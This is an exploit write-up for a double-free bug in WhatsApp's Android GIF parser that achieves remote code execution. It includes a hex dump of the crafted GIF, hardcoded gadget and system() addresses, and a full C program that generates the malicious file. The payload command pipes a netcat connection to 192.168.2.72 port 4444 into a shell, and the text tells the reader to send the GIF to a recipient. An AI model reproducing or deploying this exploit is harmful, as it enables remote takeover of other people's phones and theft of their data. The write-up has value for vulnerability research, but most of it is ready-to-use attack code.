Exploiting a Double-Free Bug in WhatsApp to Achieve RCE
Vulnerability Analysis
The Double-Free Vulnerability
When a WhatsApp user opens the Gallery to send a media file, the app parses GIF files using the native libpl_droidsonroids_gif.so library to generate previews. This library contains a buffer named rasterBits
for storing decoded frames. If the dimensions of the frames change, rasterBits
is reallocated. If the new allocation size is zero, a double-free occurs. Here’s the critical code segment:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;
int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;
const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height;
if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) {
void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, sizeof(GifPixelType));
if (tmpRasterBits == NULL) {
gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;
break;
}
info->rasterBits = tmpRasterBits;
info->rasterSize = newRasterSize;
}
In Android, double-freeing a memory chunk of size N causes subsequent allocations of size N to return the same address. This property can be exploited to control memory allocation.
Controlling the PC Register
To achieve RCE, we need to control the program counter (PC) register. This involves exploiting the fact that rasterBits
and GifInfo
pointers can point to the same memory address after double-free. By crafting a specific GIF file, we can overwrite function pointers within the GifInfo
structure.
Here's the relevant part of GifInfo
:
struct GifInfo {
void (*destructor)(GifInfo *, JNIEnv *);
GifFileType *gifFilePtr;
GifWord originalWidth, originalHeight;
uint_fast16_t sampleSize;
long long lastFrameRemainder;
long long nextStartTime;
uint_fast32_t currentIndex;
GraphicsControlBlock *controlBlock;
argb *backupPtr;
long long startPos;
unsigned char *rasterBits;
uint_fast32_t rasterSize;
char *comment;
uint_fast16_t loopCount;
uint_fast16_t currentLoop;
RewindFunc rewindFunction;
jfloat speedFactor;
uint32_t stride;
jlong sourceLength;
bool isOpaque;
void *frameBufferDescriptor;
};
By crafting a GIF file with specific frame sizes, we ensure rasterBits
is freed twice, allowing us to manipulate the memory layout.
GIF File Construction
The crafted GIF file has frames of the following sizes:
- Size of
GifInfo
- 0
- 0
This triggers the double-free vulnerability, allowing us to control the rasterBits
buffer. The file content looks like this:
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C
00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
Exploiting the Vulnerability
When the WhatsApp Gallery parses the crafted GIF, it triggers the double-free:
- The
rasterBits
buffer is freed twice. - Subsequent allocations return the same address.
- The crafted GIF overwrites the
GifInfo
structure, particularly therewindFunction
pointer.
Bypassing ASLR and W^X
To execute code remotely, we need to bypass ASLR and W^X protections. This involves:
- Finding a gadget in libhwui.so that allows us to set up registers correctly.
- Redirecting execution to the
system()
function to execute shell commands.
Here’s an example of setting up the exploit:
size_t g1_loc = 0x7cb81f0954; // Replace with actual gadget address
memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; // Replace with actual system function address
memcpy(buffer + 24, &system_loc, 8);
char *command = "toybox nc 192.168.2.72 4444 | sh";
memcpy(buffer + 32, command, strlen(command));
The buffer content before encoding:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB
00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16
00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
Generating the Exploit
Compile the provided code to generate the malicious GIF file:
Send the resulting exploit.gif
as a document via WhatsApp. The exploit will trigger when the recipient opens their WhatsApp Gallery.
Here is the full implementation of the exploit in C:
#include "gif_lib.h"
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#define ONE_BYTE_HEX_STRING_SIZE 3
static inline void get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {
int i;
unsigned int byte_no = 0;
if (buf_len <= 0) {
if (hex_len > 0) {
hex_[0] = '\0';
}
return;
}
if (hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)
return;
do {
for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i) {
snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);
hex_ += ONE_BYTE_HEX_STRING_SIZE;
hex_len -= ONE_BYTE_HEX_STRING_SIZE;
buf_len--;
}
if (buf_len > 1) {
snprintf(hex_, hex_len, "\n");
hex_ += 1;
}
} while ((buf_len) > 0 && (hex_len > 0));
}
int genLine_0(unsigned char *buffer) {
unsigned char hexData[138] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF
};
memcpy(buffer, hexData, sizeof(hexData));
size_t g1_loc = 0x7cb81f0954; // replace this
memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; // replace this
memcpy(buffer + 24, &system_loc, 8);
char *command = "toybox nc 192.168.2.72 4444 | sh";
memcpy(buffer + 32, command, strlen(command));
return sizeof(hexData);
}
int main(int argc, char *argv[]) {
GifFilePrivateType Private = {
.Buf[0] = 0,
.BitsPerPixel = 8,
.ClearCode = 256,
.EOFCode = 257,
.RunningCode = 258,
.RunningBits = 9,
.MaxCode1 = 512,
.CrntCode = FIRST_CODE,
.CrntShiftState = 0,
.CrntShiftDWord = 0,
.PixelCount = 112,
.OutBuf = { 0 },
.OutBufLen = 0
};
int size = 0;
unsigned char buffer[1000] = { 0 };
unsigned char line[500] = { 0 };
int line_size = genLine_0(line);
EGifCompressLine(&Private, line, line_size);
unsigned char starting[48] = {
0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,
0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08
};
unsigned char padding[2] = { 0xFF, 0xFF };
unsigned char ending[61] = {
0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,
0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,
0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B
};
// starting bytes
memcpy(buffer + size, starting, sizeof(starting));
size += sizeof(starting);
// size of encoded line + padding
int tmp = Private.OutBufLen + sizeof(padding);
buffer[size++] = tmp;
// encoded-line bytes
memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);
size += Private.OutBufLen;
// padding bytes of 0xFFs to trigger info->rewind(info);
memcpy(buffer + size, padding, sizeof(padding));
size += sizeof(padding);
// ending bytes
memcpy(buffer + size, ending, sizeof(ending));
size += sizeof(ending);
char hex_dump[5000];
get_hex(buffer, size, hex_dump, 5000, 16);
printf("buffer = %p size = %d\n%s\n", buffer, size, hex_dump);
int fd = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC, 0644);
write(fd, buffer, size);
close(fd);
}
Affected Versions
This exploit works on WhatsApp versions up to 2.19.230 and is patched in version 2.19.244. It affects Android 8.1 and 9.0 but is not effective on Android 8.0 and below due to system memory management differences.